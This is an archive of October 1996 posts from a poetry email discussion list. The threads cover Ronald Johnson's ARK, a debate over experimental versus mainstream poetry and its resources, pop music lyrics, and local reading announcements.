To order simply forward this message to [redacted]: include your name, shipping address, and the list of books you want. Please make sure, however, you do not press reply, or you will respond to the entire poetics list and we don't want that.

Roof Books will ship you the books, postage free with a stamped envelope and a bill. Upon receipt of your books, you send Roof a Check. Important: Checks must be payable to: "THE SEGUE FOUNDATION, INC." (put "Roof Spec. Offer: #books" in byline).

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350. **James Sherry**
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Wed 16 Oct 1996

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351. Loss Glazier
Flash: Creeley Update
Wed 16 Oct 1996

A note to announce the photo-enhanced (see the famous birthday cakes via the Net!) version of the Creeley 70th special is now online. For those of you with Netscape, you won't to miss this!

There's a special link from just beneath the white banner on the main EPC home page. Have a look at

http://writing.upenn.edu/epc

and follow the link to "Review & Photos"

```
-----------------------------------------------------
|        Loss Glazier <[redacted]>      |
|            Electronic Poetry Center              |
|          http://writing.upenn.edu/epc            |
-----------------------------------------------------
```

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352. Marisa Januzzi
Re: Ronald Johnson
Wed 16 Oct 1996

Actually, one of the things that's haunting me as I try to build a collection of ARK's pieces in first editions is the shift from cloth editions (1-33, from North Point, which has a dj, cover art, etc) to paperbacks, to stapled mimeo'd pamphlets over the period of published accretion.

What sort of story does this tell (besides the potentially sad one about readership, money, presses going bust, the chapbook vs. cookbook market, etc.)?

It's hard to picture the poem in four parts... Charles, did he project in print? Are drafts circulating somewhere? --Marisa

> *I thought it was interesting that _Ark_, as published by Passages, now consists of three parts (triad rules!) instead of the four Johnson had once projected. He used to explain at readings the architecture of the poem as culminating in a roof or dome --what he had already published as _RADI OS_ , the writing through by erasure of Paradise Lost .*
>
> *Btw, I stopped by SPD last week before Kevin's play, & they have copies of _Ark_ stacked on their new titles table, so you should be able to order it from them as well.*
>
> *charles*

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353. **Charles Smith**
Re: Ronald Johnson
Wed 16 Oct 1996

Marisa,

I should have checked this first. In "A Note on ARK" at the back of _ARK 50_ (Dutton, 1984), he writes:

"The model in my head includes 3 books of 33 sections: The Foundations, The Spires, and The Outworks, then eventually that rewriting of _Paradise Lost_ by excision (the first 4 sections published in 1977 as _RADI OS_) which when complete will mark ARK 100 -- conceived as a kind of Dymaxion Dome over the whole."

Last time I heard him read was late 80's or early 90's at an earlier incarnation of Small Press Traffic. I don't believe it was recorded, but may have been. He was reading from the then unpublished Arches to an audience of maybe 10. (They were being circulated then. Are these the mimeos you refer to?) I think that an earlier reading at Natoma Street, curated by Aaron Shurin & David Levi Strauss, was recorded. Aaron, are you still here? I seem to remember him making remarks about the structure at both events, though it's been a while now.

There is no mention of any additional sections in the back notes of the new Living Batch edition, where he talks of the book being based on "trinities," so I guess he dropped the idea & the poem ends with ARK 99: "countdown for Lift Off."

(& yes, the publication history of this poem is a sad story, but one I don't care to get into.)

charles

In a message dated 96-10-16 20:41:45 EDT, you write:

<< Actually, one of the things that's haunting me as I try to build a collection of ARK's pieces in first editions is the shift from cloth editions (1-33, from North Point, which has a dj, cover art, etc) to paperbacks, to stapled mimeo'd pamphlets over the period of published accretion.

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>projected. He used to explain at readings the architecture of the poem as
>culminating in a roof or dome --what he had already published as _RADI OS_
,
>the writing through by erasure of Paradise Lost . >>

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354. **AARON SHURIN**
Re: Ronald Johnson
Wed 16 Oct 1996

Ron did read for our Works and Words series back in, oh, '82 or so, but the recordings from that series, I think, are in some dispute - or were - and though Levi may finally have secured them (which would be great) I'm not sure that happened. BUT, luckily, ye old Poetry Center sponsored a Johnson/Gunn reading in '90, and you can hear and see the ark-itecture rise from numbers 21,22,23,34,52,57,71 and 83.

And I do mean rise!

Aaron

On Wed, 16 Oct 1996, Charles Smith wrote:

> *Marisa,*
>
> *I should have checked this first. In "A Note on ARK" at the back of _ARK 50_ (Dutton, 1984), he writes:*
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>the writing through by erasure of Paradise Lost . >>

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355. **robert zamsky**
Re: Minnesota
Thu 17 Oct 1996

Maria -- Thanks for the infor. on Minneapolis. I'll be there for a conference called "construction zones: narratives of identity." I'm presenting on the martiniquan poet-governor Aime Cesaire. I'll be sure to look up events in the papers, and coffee would be groovy too. rz

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356. **Jeremy F Green**
Re: Keith Tuma and "chest thumping"
Thu 17 Oct 1996

The TLS in question is the issue dated September 20. It's the one with the picture of Tony Blair grinning like a pantomime devil on the front.

> *Could somebody please say in which issue of TLS the Potts potshot is thrown? I couldn't find it at the liberry. Thanks - HG*

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357. **Mark Wallace**
What experimental poets do to the mainstream
Thu 17 Oct 1996

Keith Tuma:

The problem that I still have with the position you're taking is that, despite the apparent reasoned objectivity of your tone, you're still engaging in the sort of wholesale, unaccurate generalizations about "experimental poetry" that you claim that experimental poets do to the mainstream. Yet shouldn't you be wary of making that generalization, and isn't the apparent "objectivity" of your tone in fact enabling you to cover up that you are engaging in such massive generalizations? I wish you would, in fact, point out to me the articles in which experimental poets are making the kinds of generalizations about mainstream poets that you claim they are making--I'm frnkly not as sure you as you are that those claims are being made.

Thus, for all your claims to be "supporting" the sort of writing that I and others are committed to writing, you seem in your recent posts to admonish the avant garde to always be specific about the work of mainstream writers, while engaging in generalizations about the nature of what avant garde poets are doing. You insist that generalizations should not be made about "them" while at the same time making generalizations about those people you claim to be

supporting. I'm sorry if this makes me a little testy, but I can't help it--and while you may have a point in taking me to task about the rhetorical nature of my response to you, isn't it clear to you that your refernce to avant garde "chest thumping" is highly rhetorical also, and perhaps even offensive? I greatly appreciate your willingness to detail the issues of the British poetry context in response to Steve Evans and Ira Lightman, and I wish, since you seem well-informed about experimental practice in this country also, that you would reconsider whether it's wise to make generalizations about the kind of generlizations that experimental poets are making.

I have been, and remain, perfectly willing to discuss the sort of poetry I write with more "mainstream" poets, and anybody else for that matter, and I believe that in fact that is the case for almost all the "experimental" poets I know. The question is whether "experimental" poets are even allowed to engage in that sort of discussion in the first place. My experience tells me NO; my work and the work of many others is regularly condemned as unreadable, pointless word play. There is no free and open ground of debate about the relation between experimental and mainstream poetry in the U.S quite simply because those people who control the vast majority of poetry resources are quite simply not going to let experimental poets have more than even the smallest piece of those resources, if that. Thus there is no ground of "open" discussion--the ground begins with "objective" insults to experimental poetry, and then a call for those "experimental" poets to justify themselves to those who are insulting them. And it seems to me that despite your obviously worthwhile intentions, you're conceding too much of that ground already, with your suggestion that "experimental poets" must always explain themselves rationally and calmly to those who have STOLEN what limited resources for literature there are in this country. As far as I'm concerned, they should be justifying that theft to me and to others, something that they probably cannot do.

I'm very pleased that you have read the wide variety of poetics relevant to this issue, and again, would just ask you to consider whether the stereotypes about experimental poets that you seem to be putting forward in recent posts are really the best way to achieve your own goals, which I'm quite certain are worthwhile.

The modem I'm working on today does not allow me to correct writing errors effectively; I hope you will excuse me for that.

Mark Wallace

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:

| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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358. **Henry Gould**
Re: What experimental poets do to the mainstream
Thu 17 Oct 1996

On Thu, 17 Oct 1996 15:10:33 -0400 Mark Wallace said:
>
>I have been, and remain, perfectly willing to discuss the sort of poetry I
>write with more "mainstream" poets, and anybody else for that matter, and
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>call for those "experimental" poets to justify themselves to those who are
>insulting them. And it seems to me that despite your obviously worthwhile
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>suggestion that "experimental poets" must always explain themselves
>rationally and calmly to those who have STOLEN what limited resources for
>literature there are in this country. As far as I'm concerned, they should
>be justifying that theft to me and to others, something that they probably
>cannot do.

Mark, I don't want to barge into or start another slanging match on these issues, but I just can't agree with the picture you draw here. First of all, do "experimental" poets have to sign on to this embattled scenario? Seems to me that "experiment" has been a pretty strong wave in US arts since the Armory Show. There are lots of magazines where experiments can be published; quite a few universities where poets can get accredited for their experiments; lots of places to read & conferences to attend; book publishers; talk shows like the poetics list; etc. Secondly, if you're going to call yourself "experimental" you can't at the same time claim all the good seats at the culture-vulture circus. Maybe the analogy to science is weak... but does a scientist demand the Nobel while he or she is still doing the experiments? It seems to me that when you set up

mainstream/experimental as an agonistic contest then the "embattled" outfit is inevitable. It does seem clear that in the history of arts, the "new" does have to struggle against established forms to win a place, people do get neglected. Tell me if I'm wrong though - I don't see the French painters, say the Impressionists & those that followed, whining about their lack of recognition & power. They were too busy painting (& maybe striking deals). When they put on their independent shows, they shocked people - but also began to win them over. Rather than setting up a global theory of experimental/political arts revolution, which it seems to me is likely to lead to the paradoxical CORRUPTION of artistic drives & motives, I would think it more important to focus on making poetry that PLEASES oneself in the fullest sense - & not worry about the consequences so much. Finally, in my view, to set up some kind of simple distinction between experimental & mainstream would have the sad effect of hobbling real experiment. The impressionists knew & even admired the work of their academic forebears pretty thoroughly. - Henry Gould

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359. David Kellogg
Re: What experimental poets do to the mainstream
Thu 17 Oct 1996

At 03:10 PM 10/17/96 -0400, Mark Wallace wrote:

[big snip]

> *while you may have a point in*
> *taking me to task about the rhetorical nature of my response to you, isn't*
> *it clear to you that your refernce to avant garde "chest thumping" is*
> *highly rhetorical also, and perhaps even offensive?*

Hey! As a rhetoric teacher, I resemble that remark!

Cheers,
David
~~~
~~~

360. **DS**
Re: What experimental poets do to the mainstream
Thu 17 Oct 1996

The problem is people will always pay more for a painting than a poem... (even a whole book of poems)

. Tell
>me if I'm wrong though - I don't see the French painters, say the
>Impressionists & those that followed, whining about their lack of
>recognition & power. They were too busy painting (& maybe striking
>deals). When they put on their independent shows, they shocked
>people - but also began to win them over. Rather than setting up
>a global theory of experimental/political arts revolution, which
>it seems to me is likely to lead to the paradoxical CORRUPTION
>of artistic drives & motives, I would think it more important
>to focus on making poetry that PLEASES oneself in the fullest
>sense - & not worry about the consequences so much. Finally, in my
>view, to set up some kind of simple distinction between experimental
>& mainstream would have the sad effect of hobbling real experiment.
>The impressionists knew & even admired the work of their academic fore-bears
>pretty thoroughly. - Henry Gould
>
>

↑ Index

361. **Rod Smith**
Re: What experimental poets do to the mainstream
Thu 17 Oct 1996

Interestingly, Mark spent a fair amount of time decrying the faux objective tone of defenses of the mainstream in response to Steve's piece & then lapsed into just such generalizations when it came to the issue of resources. I think the reason for this is that the generalizations become accurate when issues of resources are raised. Mr Gould wrote:

>There are lots of magazines where experiments can
be published; quite a few universities where poets can >get accredited
for their experiments; lots of places to read & >conferences to attend

There are lots of magazines because the people engaged in the writing are willing to spend their time & money on them. Most of them do not receive institutional support of any kind. This is true of many reading venues as well. There

are not a lot of universities that support the generalization "experimental." I can think of 5, two of which, Naropa & New College, were started by poets. It seems to me no one has refuted the basic gist of the original post by Mr. Evans, & it would seem that the reason for this is that he was, & is, in fact, correct.

corporate impressionism still sucks,

Rod

↑ Index

362. **Aldon L. Nielsen**
Re: What experimental poets do to the mainstream
Thu 17 Oct 1996

I was under the impression that there had been quite a bit of such whining and dining on the part of the imps. & their posts --

After many years of attempting to ford the mainstream, I, like Rod, started a publication to assist others whose backs were as wet as my own --

Then, what do you suppose happened? My wife got a Ford fellowship!

Just read a book on postmodernism in which there is not only not a single ref. to any poetry, but no discussion of any "experimental" - "innovative" -- or even out of the ordinary in terms of the actual writing writing -- Seems it's all a matter of thematics %^$*^%#*%^#$

non-sequitur where none intended --

↑ Index

363. **Aldon L. Nielsen**
Re: Corporate Post-Impressionism
Thu 17 Oct 1996

The buck sucks here

↑ Index

364. **Steve Carll**
defender of pop
Thu 17 Oct 1996

Is Bob Dylan the only "popular" musician most people on this list won't simply dismiss out of hand, the way I've seen done with Natalie Merchant, Nick Cave, Oasis, etc.? OK, Nick's schtick gets a bit melodramatic at times, and he can be Gothic to the point of silliness, but he's certainly no anathema to art or anything. Check out "Weeping Song" from _The Good Son_. It's simple and

minimally-arranged, yet the spare keyboards and haunting lyrics send real chills up my spine. And while I haven't read _The Ass Saw The Angel_ (or do I have the nouns back-asswards? Anyway, that book he wrote), I think it's kind of interesting that he was interested in writing in a deliberately archaic diction.

If I'm not mistaken, "popular" music was originally defined as anything that wasn't "classical" music. Meaning that it would have been applied to folk, jazz, blues, and show tunes (they didn't have rock back then, nor yet, I don't think, rhythm to go with their blues). There has historically been a considerable amount of liberation to be found in making music which gets put into this category as if it were an insult.

****

[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

↑ Index

365. **{ brad brace }**
Expunged Titles for 1996
Thu 17 Oct 1996

This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools.

--1916234680-1464328669-845588527:#24120

Expunged Titles for 1996:

Above-Cited-Extracts-Will-Show
Accumulated-Associations-With-Whatever
Against-All-Warranty-to-Cherish-Such-Emotions
All-Kinds-of-Vague-Wonderments-and-Half-Apprehensions
Architecture-of-Genetic-Manipulation
At-Every-Fiftieth-Page
Christ-and-the-Powers-of-Darkness-De-Locis
Clandestine-Professional-Activities
Condensed-Confidential-Comfortableness

Confounding-Attempts-to-Explain-the-Mystery
Dancing-Is-Primal-Architecture
Encircle-the-Empty-Centralized-Space
Eschatalogical-the-Doctrine-of-Last-Things
Exemplary-Heroes-and-Saints-Coalesce
Ideal-Cities-For-Permanent-Transients
Innovative-Techniques-and-Personal-Visions
Interrogating-Sporadic-Mechanical-Gazes
Justice-Rationalization-Efficiency
Longest-Day-in-the-Year-of-Our-Hemisphere
Murdered-Enslaved-Oppressed-Exploited
Nameless-Regal-Overbearing-Dignity
Old-Fashioned-Claw-Footed-Look
Paradigmatic-Gesture-of-Culture
Precision-Hardwork-Secrecy
Pugnacious-Academic-Adopted
Pulsating-Sphere-Symphatic
Replace-Strategy-With-Technology
Series-of-Sinister-Premonitions
Steer-Clear-of-the-Fiery-Pit
Straight-Edges-Are-Always-Kept
Suspicion-of-Something-Wrong
Temple-of-Technological-Domination
Terrificationibus-Nocturnisque-Tumultibus
The-Copestone-Is-On
The-Delights-of-Air-and-Earth
The-Delusion-of-Presence-and-Involvement
The-Intestines-of-Ancient-Dogs
The-Missionary-and-the-Merchant
The-Music-Reconciles-All-Contradictions
The-Star-of-Heat-and-Pestilence
The-Sun-Is-Breaking-Through
The-Technological-Homogenization-of-Language
The-Unmistakable-Smell-of-Fear
Well-of-Water-Within-the-Walls
What-That-Marvellous-Painting-Meant
When-All-Preliminaries-Were-Over
Which-Were-Likewise-Very-Projecting

Double spaced submissions in Harvard format
in three copies and IBM diskette to

the address below:

—
--1916234680-1464328669-845588527:#24120
Content-Description:

--1916234680-1464328669-845588527:#24120--

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366. **Pritchett,Pat**
Re: grazie
Thu 17 Oct 1996

Could someone please provide (backchannel) me with David Baratier's e-mail address? David, are you out there? Much obliged.

Patrick Pritchett
[redacted]

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367. **Steve Carll**
song or poem?
Thu 17 Oct 1996

I think maybe part of the confusion between Jordan and Aldon may hinge on the use of the word "poem". Jordan, it seemed to me, was saying that a set of song lyrics do not equal a poem. Aldon took that to mean Jordan was asserting that song lyrics are not poetic, or not poetry. Which of course is a different animal altogether (well, not always, but often). Lots of things besides poems are poetic, some of the better song lyrics among them. Now stop fighting, you boys. Oh yeah, you already did.
{{{

368. Tom Beard
Re: What experimental poets do to the mainstream
Thu 17 Oct 1996

Henry Gould wrote:

> *Maybe*
> *the analogy to science is weak... but does a scientist demand the Nobel*
> *while he or she is still doing the experiments?*

This brings up an interesting point. Some of my friends have remarked that the term "experimental" can not apply in the arts, or at least not as a direct analogy to scientific experiment. In science, an experiment is designed to test a hypothesis: can the same be said for experimental art?

I tend to disagree with them, and at least in terms of my own viewpoints, I'd say that the hypothesis that experimental writing sets out to test is "that a piece of writing written in such-and-such a way will be interesting to read". This may seem fairly vague: could any of the other writers here suggest any hypotheses that their experiments have tested?

Of course, an experiment can either verify or falsify such a hypothesis, and my friends (coming from their own tastes etc) would suggest that much experimental writing falsifies the above hypothesis. This comes back to the point that others have made here about experimental writers not being critical of one another's work. If this _is_ the case, can such work be said to be experimental?

Yours &c,

Tom Beard.

Current: journal of the mind
http://www.comm-unity.co.nz/~current/
and senses

↑ Index

369. Kevin Killian
Ronald Johnson, Jorie Graham
Thu 17 Oct 1996

Hi, it's Kevin Killian. Ronald Johnson's reading here in San Francisco was cancelled due to illness. En route to San Francisco from Kansas, RJ fell ill, but they hope to reschedule the reading for the Spring.

OK, one reading I did go to on Wednesday was presented by the Poetry Center at SF State. I was so curious to see--for the first time--the Pulitzer Prize winner,

Jorie Graham. To those of you on this list who are familiar with Graham, why didn't anyone tell me! I stuck my head in the door and saw her, and then bought her book, and she looks like the picture on the jacket, except incomparably more alive, glamorous, exotic! In the photo she looks like Gloria Steinem but in person, as one former student whispered to me, she *is* "the white Diana Ross."

(The decadent Diana Ross of the "Muscles" period, tho I don't expect all of you, and certainly not you, George Bowering, to take my allusion.)

I couldn't stay to hear "Jorie" read (tho' I did get her autograph), but others on this list were there and can fill you in.

The Small Press Traffic event for Erin Moure and Lisa Robertson * is * still on! Hope to see lots of you there on Friday night Oct. 18 at 7:30 at the New College Theater, 777 Valencia, SF.

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370. Kevin Killian
Re: defensiveness as prop?
Thu 17 Oct 1996

At 2:37 AM 10/18/96, Carnography wrote:

> *I could rail at critics for not respecting the visual poetry in Michael Soavi's _Cemetery Man_ (or _Morte Dellamorte_). But what good would that do, and what would it add to anyone else's experience of seeing the film? I'd rather say--to put it simply--: "_Cemetery Man_ is brilliant and funny, and is infused with a sexuality that manages to be violent, gory and passionate without being misogynistic."*

Bravo Rob!!! I went to see this great movie on the urging of Juliana Spahr and Charles Weigl. After having gone to endless horror films the past 10 years I tend to sneer at comic horror films as being too self-conscious and not--I don't know what to say, emotionally involving isn't what I mean exactly--psychically engaging is more it. Anyway, Cemetery Man, for me, broke through that and was hilarious and "deep" at the same time. As I was telling my class the other day, you can make *anything* work if you go at it the right way. I was particularly impressed with its use of clichés, which were blatantly displayed as clichés, but still somehow managed to be moving.

And yes, visually, it was a joy.

Though I know one person at least who thought CM was a piece of fluff--I immediately lost all respect for him.

Dodie

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371. **Steve Evans**

Re: How To Not Read

Thu 17 Oct 1996

I am happy to confirm the suggestion so tactfully advanced by Joe Amato in a recent post, namely that I have been educated by the consequences of my review review. I feel especially indebted to Keith Tuma, whose knowledge of the British scene gives other Americans a standard to aspire to, and to the many participants in that scene (Chris Cheek, Peter Larkin, Ken Edwards, and others) who troubled themselves to respond to my posting with concrete information otherwise difficult to obtain here in the States.

To Ira Lightman, whose passionate dissenting reading of my piece I admired--not least for the tremendous commitment to intellectual fair play that so obviously animated it--I reserve the special form of gratitude which takes the form of continuing a discussion across differences, not without the hope that these might be clarified and/or tentatively resolved.

A word about the transposition of the terms of debate (what the Althusserians used to call "the problematic") across national boundaries may be in order here, particularly in light of Lightman's opening clause, "as a British poet...." It would be disingenuous to read too much into this particular filling out of the "speaking as an X" form, which at the outset simply means to mark the speaker's positionality and to lay the groundwork for some of the claims that will follow. But since many of those claims do crucially involve national identity, and do so in such a way as to equate that identity with privileged knowledge, I think it bears some elaboration.

What I recognized in reading Robert Potts's review of _Conductors of Chaos_ was a phenomenon characteristic of the relation between the dominant and the dominated in the field of poetic practice. Compared to that, the fact of its appearing in a specific journal (the TLS) placed within a given national culture (England) struck me as secondary. Even after taking into account Maxine Chernoff's and Keith Tuma's important qualifications as to the different fate avant-garde anthologies have met when facing the U.S. literary establishment, I stand by the claim.

The failure on the part of Robert Potts to be attentive to the specificities of the book under review, his indifference at the level of fact and his aggression at the level of motivation, were what prompted my response. As an American reader of poetry--i.e. one whose map of world poetry is inevitably subjected at a minimum to the complacencies, in the worst case to the structural arrogance of that position--I think the failure of Potts to communicate anything like an adequate

relation to the anthology disturbed me precisely because I (and not only I) need the information.

By the way, Ira, the phrase "xenophobic" was meant to indicate how deeply structured Potts review seemed to be by the fear of difference. Having read a little in the literature surrounding the Movement, I am not unaware that the problem of "foreigness" in 20th-century English poetry bears directly on the problem of American poetry and extends to the problem of an avant-garde project that was historically constituted as international (or as Raymond Williams prefers to say, "para-national") and which has proven belligerent to (and not surprisingly is therefore feared by) provincial nationalisms. If I have not been misled in my reading around the Arts Council's response to Mottram's editorship of the _Poetry Review_, this problem has been reformulated again and again by the dominant agents and institutions in English literary life, but the variations seem less important than the anti-modernist refrain.

I am one of those who consider the historical achievements of the avant-garde project to have normative force in at least three areas pertinent to us today. First, in the defense of the autonomy of intellectual (including poetic) practice against all attempts to impose external criteria of evaluation. Second, in the refusal to permit national identity to act as the horizon of intellectual (including poetic) practice. And third, in the commitment to negate capitalism's negation of human (including intellectual, including poetic) potential. While the avant-garde project cannot be said to have corresponded exlusively to such aims (Marinetti?! Pound?!), what is valuable about it in my view are these dimensions of autonomy, anti-nationalism, and anti-capitalism.

From such a standpoint, the fact that both Donald Davie and I had fathers who fit the category "shopkeeper" is of less concern (though the typicality amongst Movement poets of a trajectory from working-class families to Oxford and Cambridge to positions of academic anti-intellectualism does interest me) than the fact that we are once again talking of Davie when thirty-odd less known, less recognized, but by no means certainly less valuable writers have work before us.

There is more, of course, to say. But then everyone is saying it....

---

r i a t n m u a t s u o o o s

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372. Pete Landers
Re: What experimental poets do to the mainstream
Thu 17 Oct 1996

I think Keith's point is: If you choose sides, there will be war. He seems to me to be admonishing people to deal with the poetry itself, and I agree. He continually says "the so-called 'mainstream'" and "the so-called 'experimental'". The poetry itself, or the poets them- selves... Consider the success of New Directions. At what point do the writers JL publishes cease to be members of one group and join the other? Never, of course. But ever since they went into the black, ever since W.W. Norton began distributing them, they have enjoyed a wider circulation. Now they have Susan Howe. Does that mean that she is now a "mainstream" poet? I'm baffled, because Susan's most recent book would quickly be classified as "experimental" by those who use such words.

I'm sure it all goes back to the anthology wars. Or perhaps it goes back to the beginning of the worship of Dionysus in Delphi...

To me, a poem is good if I like it. Still, I must admit, there are back-scratch groups out there. Oddly, if I don't like most of what I see from a group, I am not inclined to read further, and vice-versa. But really, so few poets are really known that there can't really be said to be a mainstream. Just a lot of watering holes.

About "chest-thumping": Listen, I am proud of my work. Nobody pays me for it. What is left for me to do but beat upon my own frail chest and declare, "Like me or don't, but I'm damn good!" And it could be delusion but what are you going to do? Spank me?

God, I love this list!

Pete Landers

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373. George Bowering
Re: defender of pop
Thu 17 Oct 1996

> *Is Bob Dylan the only "popular" musician most people on this list won't simply dismiss out of hand, the way I've seen done with Natalie Merchant, Nick Cave, Oasis, etc.?*

Dear Steve: I am not interested in decrying those people you listed after Bob Dylan. It is just that I have never heard of them. And how would I? I dont watch teenagers' TV shows, or read their magazines, or listen to commercial radio stations. And I dont have conversations with teenagers about music. So I have not heard of these people; but whenever I have been somewhere where I cannot get

my ear away from someone's radio and they are playing commercial radio, I have not heard anything that seemed like good poetry to me. Having not heard of Kurt Cobain before he shot himself, and having been told that he was a big deal, I listened to a few cuts on a video channel on TV. I didnt hear anything that resembled either poetry (say, Paul Blackburn) or music (say Dollar Brand).

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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374. Eryque Gleason
primi too taa
Thu 17 Oct 1996

about three years ago i saw a great short film, if i'm remembering right it was entitled "primi too taa" by ed ackerman. the film was based on some of kurt schwitters's sound poetry. i saw it on the big omnimax (r) screen in chicago, reclined way back watching ten foot high letters dance around while a voice behind us grunted and moaned, reading the type. absolutely incredible.

does anyone know if and where i might find this on vhs? and if i got the title and director right?

thanks,
eryque

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375. Keith Tuma
Re: What experimental poets do to the mainstream
Thu 17 Oct 1996

Mark:

Briefly, as I've a mountain of papers to grade. I know there's much down below your remarks, and I've scanned it and perhaps will respond to some of it tomorrow.

Re my "generalizations" about "experimental" poets. There's a passage in a letter I read once from Basil Bunting to Zukofsky. In it, Bunting says to LZ that it would be a good idea if he set about re-writing poems the two of them agreed

were bad, in order to show how he (LZ) might improve the project seemingly underway in the bad poem and mangled. I've always liked that idea, though I realize it's tedious work (as did LZ, surely). When I say that, often, the so-called avant-garde (and to get into my reasons for that phrase is more than I can handle tonight; it would involve a tour through Paul Mann's _The Theory-Death of the Avant-Garde) doesn't engage the "mainstream" I mean that there's very little reading of "mainstream" poets in the prose of a-g poets. There is a lot of talk about things like "official verse culture," Charles' phrase, and often it is useful and always it is provocative and sometimes it is entertaining. There is no question that "experimentalists" don't get the goodies to the extent that others do: remember, I work in a university, I know something about these things. Thus it seems to me important to try, again and again as things change, to paint the scene(s) in broad strokes. Polemic can be useful at the right time and the right place. It also gathers an inertia and solidity that obstructs and obfuscates. But that's not my point. My complaint about a-g prose (for which you now chastise me as ceding too much ground) is that it too rarely moves through what is taken to be a mainstream making fine distinctions and careful critique. You ask me to show you examples of the sort of "generalizations" you think I'm attributing to the avant-garde. But it's mostly an absence I'm talking about, so I'll ask you to show me examples of a-g poets reading and criticizing (or praising) particular "mainstream" poets. Where are the readings of Frank Bidart, a poet I admire, or Dave Smith, a poet I don't. (Names selected randomly from the shelf beside me). Wouldn't it be more effective to engage those poets in this way rather than always (or usually) pursuing the broader maps--of the socio-economics of official verse culture, of the persistence of a naive cult of authenticity, whatever--in terms either richly provocative or powerfully analytical or merely in weak echoes that assume everything is settled? I surely think so. I'm talking about tactics. Now, there are of course exceptions. My friend Marjorie P, for instance, often grounds her celebration of experimental practices and her historical narratives legitimating them in exactly the way I am suggesting, though, to my dismay, Marjorie likes to pick on poor Phil Levine (and a few others)--easy targets. Not much talk in her work about, say, Robert Hass. Jed Rasula's recent book is exemplary here as well, though I have problems with its tone in places (as well as with some of its Baudrillardian moments). So, you see, I don't think I'm ceding anything--or, rather, this tactic cedes little. Even intelligent critical advocates of other poetries--Charles Altieri, Robert von Hallberg, John Koethe, Allen Grossman, others--are rarely engaged in a-g prose. An opportunity--to respond to Koethe's argument about "conventions" for instance-- is being bypassed. Look at what Walter Benn Michaels said recently (in a footnote inModernism/Modernity) about Marjorie P and Charles B. A cheap shot if ever there was one. It would be hard to take these if we were persuasive; clearly we're not. One way we're not, it seems to me, is in sustaining blunt binaries between

"mainstream" and "avant-garde" practices (plural you note). But this takes me back to the avant-garde question I'm trying to avoid.

Now as for "chest-thumping" and rhetoric and such. You can't imagine how horrified I am to see that phrase and my name in subject headings! You're right that your rhetoric bothered me, and I take your new one and your words concerning your old one as a friendly gesture: thanks. As for mine, I can only say that I used the phrase--perhaps too casually, spontaneously--as a way of expressing some solidarity with Ira, who had used the same or a related phrase. It was thus an echo, and one that meant to demonstrate that, though I had contested some of Ira's points in his post about Potts, Davie, _C of C_ and etc., I also thought I understood where he was coming from in other ways. You read the term as my accusing a-g prose writers of being "macho." That was not my intention in using the word, though I understand how you read it the way you did and indeed it is true that I think the a-g sometimes gets caught up in a miltaristic rhetoric (there's of course a long tradition). I don't think we need any more generals waving the banners of emerging or existing "movements." Indeed, I think such rhetoric is, as I've said, counter-productive in many ways.

Well this is longer than I'd hoped it would be. I hope it explains things-- there are limits to this medium--and addresses the concerns of your post, which I'm trying now to remember!

Keith

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376. Rod Smith
Re: defender of pop
Fri 18 Oct 1996

>And I dont have conversations with teenagers
about music.

rock/pop is no longer the music of teenagers. if it ever was. actually, many teenagers these days are listening exclusively to rap.

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377. Thomas Bell
Re: What experimental poets do to the mainstream
Fri 18 Oct 1996

It's a sad comment on the way we think today that the experimental method has become the only or dominant point of reference on "experiment". My (mind and) dictionary may be old-fashioned or out-dated but for me it's still a "test or trial undertaken to _discover_ something", no? bests tom bell

At 11:48 AM 10/18/96 +1300, Tom Beard wrote:
>Henry Gould wrote:
>
>> Maybe
>> the analogy to science is weak... but does a scientist demand the Nobel
>> while he or she is still doing the experiments?
>
>This brings up an interesting point. Some of my friends have remarked
>that the term "experimental" can not apply in the arts, or at least not
>as a direct analogy to scientific experiment. In science, an experiment
>is designed to test a hypothesis: can the same be said for experimental
>art?
>
>I tend to disagree with them, and at least in terms of my own
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>out to test is "that a piece of writing written in such-and-such a way
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>the other writers here suggest any hypotheses that their experiments
>have tested?
>
>Of course, an experiment can either verify or falsify such a hypothesis,
>and my friends (coming from their own tastes etc) would suggest that
>much experimental writing falsifies the above hypothesis. This comes
>back to the point that others have made here about experimental writers
>not being critical of one another's work. If this _is_ the case, can
>such work be said to be experimental?
>
>
> Yours &c,
>
> Tom Beard.
>
>
>----------
>Current: journal of the mind
>http://www.comm-unity.co.nz/~current/
> and senses
>----------
>
>

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378. Carnography
Re: defensiveness as prop?
Fri 18 Oct 1996

> *Is Bob Dylan the only "popular" musician most people on this list won't simply dismiss out of hand, the way I've seen done with Natalie Merchant, Nick Cave, Oasis, etc.?*

No one dismissed Oasis "out of hand": I, a working session musician who plays on pop albums (populist that!), gave specific musical (not lyrical) reasons for disliking Oasis. It isn't a matter of pop music being inferior to classical music, it's a matter of Oasis in particular being a 90's Brit Alterna-Twee xerox of the Beatles-- full of vacant Sgt. Pepper mannerisms and chart-competent song structure and, in my opinion, very little else.

However, since you mention it, let's talk about the lyrics: Oasis has less lyrical content than virtually any other band I've heard in years. Simply put, I feel their lyrics lack intelligent content, originality in tone, and prosodic ingenuity in form. Which makes them mediocre by any standard I choose to employ--pop or otherwise.

However, I disagree with the gentlemen who dismissed Kurt Cobain's lyrics. His tone--self-mocking, hypersensitive, numb--is emotionally complex, his lyrics reveal quirky reading habits (_Perfume_, by Patrick Susskind, in which we find the misanthropic, odorless murderer with whom Cobain was said to identify) and powers of invention, and the prosody, which is important to me, stays consistently witty and bleak ("a mosquito: my libido," in C's most famous song).

However, there is another issue here, which has nothing to do with genre, and that is *overexposure*. I could die tomorrow without ever hearing another news bit about Michael Jackson, and that isn't because he sucks as a musician. It is because I've heard enough Michael Jackson songs to last a lifetime, because his song form is usually eighties-rigid and that doesn't interest me, because I'm so familiar with his style that it can't teach me anything else, and because the guy is hopelessly *overexposed*. The issue isn't snobbery, it is my thirst for new work by equally deserving artists.

